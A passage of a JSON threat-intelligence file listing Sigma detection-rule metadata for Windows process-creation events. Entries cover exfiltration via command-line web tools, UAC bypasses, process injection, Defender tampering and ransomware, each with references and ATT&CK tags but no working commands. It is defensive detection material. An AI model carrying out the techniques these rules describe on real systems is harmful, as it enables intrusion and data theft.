"falsepositive": [ "Unknown" ], "filename": "proc_creation_win_powershell_susp_parameter_variation.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "http://www.danielbohannon.com/blog-1/2017/3/12/powershell-execution-argument-obfuscation-how-it-can-make-detection-easier", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_susp_parameter_variation.yml" ], "tags": [ "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "36210e0d-5b19-485d-a087-c096088885f0", "value": "Suspicious PowerShell Parameter Substring" }, { "description": "Detects code execution via Pester.bat (Pester - Powershell Modulte for testing)", "meta": { "author": "frack113, Nasreddine Bencherchali", "creation_date": "2022/08/20", "falsepositive": [ "Legitimate use of Pester for writing tests for Powershell scripts and modules" ], "filename": "proc_creation_win_susp_pester_parent.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/Oddvarmoe/status/993383596244258816", "https://twitter.com/_st0pp3r_/status/1560072680887525378", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_pester_parent.yml" ], "tags": [ "attack.execution", "attack.t1059.001", "attack.defense_evasion", "attack.t1216" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "f6fe9070-7a65-49ea-ae72-76292f42cebe", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "18988e1b-9087-4f8a-82fe-0414dce49878", "value": "Execute Code with Pester.bat as Parent" }, { "description": "Adversaries may establish persistence by executing malicious content triggered by user inactivity.\nScreensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension\n", "meta": { "author": "frack113", "creation_date": "2021/08/19", "falsepositive": [ "GPO" ], "filename": "proc_creation_win_susp_screensaver_reg.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.002/T1546.002.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_screensaver_reg.yml" ], "tags": [ "attack.privilege_escalation", "attack.t1546.002" ] }, "related": [ { "dest-uuid": "ce4b7013-640e-48a9-b501-d0025a95f4bf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "0fc35fc3-efe6-4898-8a37-0b233339524f", "value": "Suspicious ScreenSave Change by Reg.exe" }, { "description": "Detects Office Applications executing a Windows child process including directory traversal patterns", "meta": { "author": "@SBousseaden (idea), Christian Burkard (rule)", "creation_date": "2022/06/02", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_office_dir_traversal_cli.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/sbousseaden/status/1531653369546301440", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_dir_traversal_cli.yml" ], "tags": [ "attack.execution", "attack.defense_evasion" ] }, "uuid": "868955d9-697e-45d4-a3da-360cefd7c216", "value": "Office Directory Traversal CommandLine" }, { "description": "Detects piping the password to an anydesk instance via CMD and the '--set-password' flag", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/09/28", "falsepositive": [ "Legitimate piping of the password to anydesk", "Some FP could occure with similar tools that uses the same command line '--set-password'" ], "filename": "proc_creation_win_anydesk_piped_password_via_cli.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://redcanary.com/blog/misbehaving-rats/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_anydesk_piped_password_via_cli.yml" ], "tags": [ "attack.command_and_control", "attack.t1219" ] }, "related": [ { "dest-uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b1377339-fda6-477a-b455-ac0923f9ec2c", "value": "AnyDesk Inline Piped Password" }, { "description": "Detects suspicious process injection using ZOHO's dctask64.exe", "meta": { "author": "Florian Roth", "creation_date": "2020/01/28", "falsepositive": [ "Unknown yet" ], "filename": "proc_creation_win_susp_dctask64_proc_inject.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/gN3mes1s/status/1222088214581825540", "https://twitter.com/gN3mes1s/status/1222095371175911424", "https://twitter.com/gN3mes1s/status/1222095963789111296", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_dctask64_proc_inject.yml" ], "tags": [ "attack.defense_evasion", "attack.t1055.001" ] }, "related": [ { "dest-uuid": "f4599aa0-4f85-4a32-80ea-fc39dc965945", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "6345b048-8441-43a7-9bed-541133633d7a", "value": "ZOHO Dctask64 Process Injection" }, { "description": "Detects the use of various cli utility related to web request exfiltrating data", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/02", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_exfil_data_via_cli.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.sentinelone.com/blog/living-off-windows-defender-lockbit-ransomware-sideloads-cobalt-strike-through-microsoft-security-tool/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exfil_data_via_cli.yml" ], "tags": [ "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "7d1aaf3d-4304-425c-b7c3-162055e0b3ab", "value": "Possible Exfiltration Of Data Via CLI" }, { "description": "Detects execution of the Notepad++ updater in a suspicious directory, which is often used in DLL side-loading attacks", "meta": { "author": "Florian Roth", "creation_date": "2019/02/06", "falsepositive": [ "Execution of tools named GUP.exe and located in folders different than Notepad++\\updater" ], "filename": "proc_creation_win_susp_gup.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_gup.yml" ], "tags": [ "attack.defense_evasion", "attack.t1574.002" ] }, "uuid": "0a4f6091-223b-41f6-8743-f322ec84930b", "value": "Suspicious GUP Usage" }, { "description": "Execute C# code located in the consoleapp folder", "meta": { "author": "Beyu Denis, oscd.community", "creation_date": "2019/10/26", "falsepositive": [ "Legitimate use of dnx.exe by legitimate user" ], "filename": "proc_creation_win_susp_dnx.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Csi/", "https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_dnx.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218", "attack.t1027.004" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "c726e0a2-a57a-4b7b-a973-d0f013246617", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "81ebd28b-9607-4478-bf06-974ed9d53ed7", "value": "Application Whitelisting Bypass via Dnx.exe" }, { "description": "VisualUiaVerifyNative.exe is a Windows SDK that can be used for AWL bypass and is listed in Microsoft's recommended block rules.", "meta": { "author": "Christopher Peacock @SecurePeacock, SCYTHE @scythe_io", "creation_date": "2022/06/01", "falsepositive": [ "Legitimate testing of Microsoft UI parts." ], "filename": "proc_creation_win_lolbin_visualuiaverifynative.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules", "https://github.com/MicrosoftDocs/windows-itpro-docs/commit/937db704b9148e9cee7c7010cad4d00ce9c4fdad", "https://bohops.com/2020/10/15/exploring-the-wdac-microsoft-recommended-block-rules-visualuiaverifynative/", "https://lolbas-project.github.io/lolbas/OtherMSBinaries/VisualUiaVerifyNative/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_visualuiaverifynative.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b30a8bc5-e21b-4ca2-9420-0a94019ac56a", "value": "Use of VisualUiaVerifyNative.exe" }, { "description": "Detects suspicious command execution (cmd) via Windows Management Instrumentation (WMI) on a remote host. This could be indicative of adversary lateral movement.", "meta": { "author": "Tim Rauch", "creation_date": "2022/09/27", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_cmd_exectution_via_wmi.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.elastic.co/guide/en/security/current/suspicious-cmd-execution-via-wmi.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_cmd_exectution_via_wmi.yml" ], "tags": [ "attack.execution", "attack.t1047" ] }, "related": [ { "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "e31f89f7-36fb-4697-8ab6-48823708353b", "value": "Suspicious Cmd Execution via WMI" }, { "description": "Detects command line parameters used by ADCSPwn, a tool to escalate privileges in an active directory network by coercing authenticate from machine accounts and relaying to the certificate service", "meta": { "author": "Florian Roth", "creation_date": "2021/07/31", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_hack_adcspwn.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/bats3c/ADCSPwn", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_adcspwn.yml" ], "tags": [ "attack.credential_access", "attack.t1557.001" ] }, "related": [ { "dest-uuid": "650c784b-7504-4df7-ab2c-4ea882384d1e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "cd8c163e-a19b-402e-bdd5-419ff5859f12", "value": "ADCSPwn Hack Tool" }, { "description": "Detects suspicious start of rundll32.exe with a parent process of Explorer.exe. Variant of Raspberry Robin, as first reported by Red Canary.", "meta": { "author": "CD_ROM_", "creation_date": "2022/05/21", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_rundll32_parent_explorer.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://thedfirreport.com/2022/09/26/bumblebee-round-two/", "https://redcanary.com/blog/raspberry-robin/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_parent_explorer.yml" ], "tags": [ "attack.defense_evasion" ] }, "uuid": "1723e720-616d-4ddc-ab02-f7e3685a4713", "value": "Rundll32 With Suspicious Parent Process" }, { "description": "Detects suspicious child process creations of VMware Tools process which may indicate persistence setup", "meta": { "author": "behops, Bhabesh Raj", "creation_date": "2021/10/08", "falsepositive": [ "Legitimate use by administrator" ], "filename": "proc_creation_win_vmtoolsd_susp_child_process.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://bohops.com/2021/10/08/analyzing-and-detecting-a-vmtools-persistence-technique/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_vmtoolsd_susp_child_process.yml" ], "tags": [ "attack.execution", "attack.persistence", "attack.t1059" ] }, "related": [ { "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "5687f942-867b-4578-ade7-1e341c46e99a", "value": "VMToolsd Suspicious Child Process" }, { "description": "Detects the creation of a schtask that executes a base64 encoded payload stored in the Windows Registry using PowerShell.", "meta": { "author": "@Kostastsale, @TheDFIRReport, slightly modified by pH-T", "creation_date": "2022/02/12", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_schtasks_reg_loader.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_reg_loader.yml" ], "tags": [ "attack.execution", "attack.persistence", "attack.t1053.005", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "c4eeeeae-89f4-43a7-8b48-8d1bdfa66c78", "value": "Scheduled Task Executing Powershell Encoded Payload from Registry" }, { "description": "Detects a file or folder's permissions being modified or tampered with.", "meta": { "author": "Jakob Weinzettl, oscd.community, Nasreddine Bencherchali", "creation_date": "2019/10/23", "falsepositive": [ "Users interacting with the files on their own (unlikely unless privileged users).", "Dynatrace app" ], "filename": "proc_creation_win_file_permission_modifications.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/swagkarna/Defeat-Defender-V1.2.0", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1222.001/T1222.001.md", "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh750728(v=ws.11)", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_file_permission_modifications.yml" ], "tags": [ "attack.defense_evasion", "attack.t1222.001" ] }, "related": [ { "dest-uuid": "34e793de-0274-4982-9c1a-246ed1c19dee", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "37ae075c-271b-459b-8d7b-55ad5f993dd8", "value": "File or Folder Permissions Modifications" }, { "description": "Detects when a shell program such as the windows Command Prompt or PowerShell is launched with system privileges.", "meta": { "author": "frack113, Tim Shelton (update fp)", "creation_date": "2022/12/05", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_cmd.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/Wh04m1001/SysmonEoP", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_cmd.yml" ], "tags": [ "attack.privilege_escalation", "attack.defense_evasion", "attack.execution", "attack.t1059" ] }, "related": [ { "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "178e615d-e666-498b-9630-9ed363038101", "value": "Suspicious Elevated System Shell" }, { "description": "Detects the installation of a plugin DLL via ServerLevelPluginDll parameter in Registry, which can be used to execute code in context of the DNS server (restart required)", "meta": { "author": "Florian Roth", "creation_date": "2017/05/08", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_dns_serverlevelplugindll.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dns_serverlevelplugindll.yml" ], "tags": [ "attack.defense_evasion", "attack.t1574.002", "attack.t1112" ] }, "uuid": "f63b56ee-3f79-4b8a-97fb-5c48007e8573", "value": "DNS ServerLevelPluginDll Install" }, { "description": "Detect commandline usage of Microsoft Connection Manager Profile Installer (cmstp.exe) to install specially formatted local .INF files", "meta": { "author": "E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community", "creation_date": "2019/10/24", "falsepositive": [ "Legitimate use of cmstp.exe utility by legitimate user" ], "filename": "proc_creation_win_uac_bypass_cmstp.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/Binaries/Cmstp/", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.003/T1218.003.md", "https://eqllib.readthedocs.io/en/latest/analytics/e584f1a1-c303-4885-8a66-21360c90995b.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_cmstp.yml" ], "tags": [ "attack.privilege_escalation", "attack.defense_evasion", "attack.t1548.002", "attack.t1218.003" ] }, "related": [ { "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "4cbc6a62-9e34-4f94-8a19-5c1a11392a49", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "e66779cc-383e-4224-a3a4-267eeb585c40", "value": "Bypass UAC via CMSTP" }, { "description": "Detects base64 encoded \"MpPreference\" PowerShell cmdlet code that tries to modifies or tamper with Windows Defender AV", "meta": { "author": "Florian Roth", "creation_date": "2022/03/04", "falsepositive": [ "Possible Admin Activity", "Other Cmdlets that may use the same parameters" ], "filename": "proc_creation_win_powershell_defender_base64.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/AdamTheAnalyst/status/1483497517119590403", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", "https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/configure-process-opened-file-exclusions-microsoft-defender-antivirus", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_defender_base64.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.001" ] }, "uuid": "c6fb44c6-71f5-49e6-9462-1425d328aee3", "value": "Powershell Defender Base64 MpPreference" }, { "description": "Detects PsExec service execution via default service image name", "meta": { "author": "Thomas Patzke", "creation_date": "2017/06/12", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_tool_psexec.yml", "level": "low", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://jpcertcc.github.io/ToolAnalysisResultSheet", "https://www.jpcert.or.jp/english/pub/sr/ir_research.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tool_psexec.yml" ], "tags": [ "attack.execution", "attack.t1569.002", "attack.s0029" ] }, "related": [ { "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "fa91cc36-24c9-41ce-b3c8-3bbc3f2f67ba", "value": "PsExec Tool Execution" }, { "description": "Detects the use of Windows hacktools based on their import hash (imphash) even if the files have been renamed", "meta": { "author": "Florian Roth", "creation_date": "2022/03/04", "falsepositive": [ "Legitimate use of one of these tools" ], "filename": "proc_creation_win_hacktool_imphashes.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "Internal Research", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hacktool_imphashes.yml" ], "tags": "No established tags" }, "uuid": "24e3e58a-646b-4b50-adef-02ef935b9fc8", "value": "Windows Hacktool Imphash" }, { "description": "Detects possible successful exploitation for vulnerability described in CVE-2021-26857 by looking for | abnormal subprocesses spawning by Exchange Server's Unified Messaging service", "meta": { "author": "Bhabesh Raj", "creation_date": "2021/03/03", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_cve_2021_26857_msexchange.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cve_2021_26857_msexchange.yml" ], "tags": [ "attack.t1203", "attack.execution", "cve.2021.26857" ] }, "related": [ { "dest-uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "cd479ccc-d8f0-4c66-ba7d-e06286f3f887", "value": "CVE-2021-26857 Exchange Exploitation" }, { "description": "Detects the use of DefenderCheck, a tool to evaluate the signatures used in Microsoft Defender. It can be used to figure out the strings / byte chains used in Microsoft Defender to detect a tool and thus used for AV evasion.", "meta": { "author": "Florian Roth", "creation_date": "2022/08/30", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_pua_defendercheck.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/matterpreter/DefenderCheck", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_defendercheck.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027.005" ] }, "related": [ { "dest-uuid": "b0533c6e-8fea-4788-874f-b799cacc4b92", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "f0ca6c24-3225-47d5-b1f5-352bf07ecfa7", "value": "DefenderCheck Usage" }, { "description": "Detects suspicious shell spawn from Java utility keytool process (e.g. adselfservice plus exploitation)", "meta": { "author": "Andreas Hunkeler (@Karneades)", "creation_date": "2021/12/22", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_shell_spawn_by_java_keytool.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://redcanary.com/blog/intelligence-insights-december-2021", "https://www.synacktiv.com/en/publications/how-to-exploit-cve-2021-40539-on-manageengine-adselfservice-plus.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_shell_spawn_by_java_keytool.yml" ], "tags": [ "attack.initial_access", "attack.persistence", "attack.privilege_escalation" ] }, "uuid": "90fb5e62-ca1f-4e22-b42e-cc521874c938", "value": "Suspicious Shells Spawn by Java Utility Keytool" }, { "description": "Detects executables launched outside their default directories as used by Lazarus Group (Bluenoroff)", "meta": { "author": "Trent Liffick (@tliffick), Bartlomiej Czyz (@bczyz1)", "creation_date": "2020/06/03", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_apt_lazarus_session_highjack.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180244/Lazarus_Under_The_Hood_PDF_final.pdf", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_lazarus_session_highjack.yml" ], "tags": [ "attack.defense_evasion", "attack.t1036.005" ] }, "uuid": "3f7f5b0b-5b16-476c-a85f-ab477f6dd24b", "value": "Lazarus Session Highjacker" }, { "description": "Detects multiple suspicious process in a limited timeframe", "meta": { "author": "juju4", "creation_date": "2019/01/16", "falsepositive": [ "False positives depend on scripts and administrative tools used in the monitored environment" ], "filename": "proc_creation_win_multiple_susp_cli.yml", "level": "low", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://car.mitre.org/wiki/CAR-2013-04-002", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_multiple_susp_cli.yml" ], "tags": [ "car.2013-04-002", "attack.execution", "attack.t1059" ] }, "related": [ { "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "61ab5496-748e-4818-a92f-de78e20fe7f1", "value": "Quick Execution of a Series of Suspicious Commands" }, { "description": "Detects usage of the Get-ADComputer cmdlet to collect computer information and output it to a file", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/11/10", "falsepositive": [ "Legitimate admin scripts may use the same technique, it's better to exclude specific computers or users who execute these commands or scripts often" ], "filename": "proc_creation_win_computer_discovery_get_adcomputer.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.microsoft.com/en-us/security/blog/2022/10/18/defenders-beware-a-case-for-post-ransomware-investigations/", "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", "https://www.cisa.gov/uscert/sites/default/files/publications/aa22-320a_joint_csa_iranian_government-sponsored_apt_actors_compromise_federal%20network_deploy_crypto%20miner_credential_harvester.pdf", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_computer_discovery_get_adcomputer.yml" ], "tags": [ "attack.discovery", "attack.t1033" ] }, "uuid": "435e10e4-992a-4281-96f3-38b11106adde", "value": "Computer Discovery And Export Via Get-ADComputer Cmdlet" }, { "description": "Detects the pattern of UAC Bypass via WSReset usable by default sysmon-config", "meta": { "author": "Christian Burkard", "creation_date": "2021/08/23", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_uac_bypass_wsreset_integrity_level.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/Binaries/Wsreset/", "https://medium.com/falconforce/falconfriday-detecting-uac-bypasses-0xff16-86c2a9107abf", "https://github.com/hfiref0x/UACME", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_wsreset_integrity_level.yml" ], "tags": [ "attack.defense_evasion", "attack.privilege_escalation", "attack.t1548.002" ] }, "related": [ { "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "89a9a0e0-f61a-42e5-8957-b1479565a658", "value": "UAC Bypass WSReset" }, { "description": "Detects creation of a new service (kernel driver) with the type \"kernel\"", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/07/14", "falsepositive": [ "Rare legitimate installation of kernel drivers via sc.exe" ], "filename": "proc_creation_win_susp_new_kernel_driver_via_sc.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.aon.com/cyber-solutions/aon_cyber_labs/yours-truly-signed-av-driver-weaponizing-an-antivirus-driver/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_new_kernel_driver_via_sc.yml" ], "tags": [ "attack.persistence", "attack.privilege_escalation", "attack.t1543.003" ] }, "uuid": "431a1fdb-4799-4f3b-91c3-a683b003fc49", "value": "New Kernel Driver Via SC.EXE" }, { "description": "Detects Ryuk ransomware activity", "meta": { "author": "Florian Roth", "creation_date": "2019/12/16", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_malware_ryuk.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://app.any.run/tasks/d860402c-3ff4-4c1f-b367-0237da714ed1/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_ryuk.yml" ], "tags": [ "attack.persistence", "attack.t1547.001" ] }, "uuid": "c37510b8-2107-4b78-aa32-72f251e7a844", "value": "Ryuk Ransomware" }, { "description": "Detects the execution of DeviceCredentialDeployment to hide a process from view", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/19", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_lolbin_device_credential_deployment.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/LOLBAS-Project/LOLBAS/pull/147", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_device_credential_deployment.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b8b1b304-a60f-4999-9a6e-c547bde03ffd", "value": "DeviceCredentialDeployment Execution" }, { "description": "Initial execution of malicious document calls wmic to execute the file with regsvr32", "meta": { "author": "Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule)", "creation_date": "2021/08/23", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_office_spawning_wmi_commandline.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/", "https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/Threat%20Intelligence/The%20DFIR%20Report/20210329_Sodinokibi_(aka_REvil)_Ransomware.yaml", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_spawning_wmi_commandline.yml" ], "tags": [ "attack.t1204.002", "attack.t1047", "attack.t1218.010", "attack.execution", "attack.defense_evasion" ] }, "related": [ { "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], 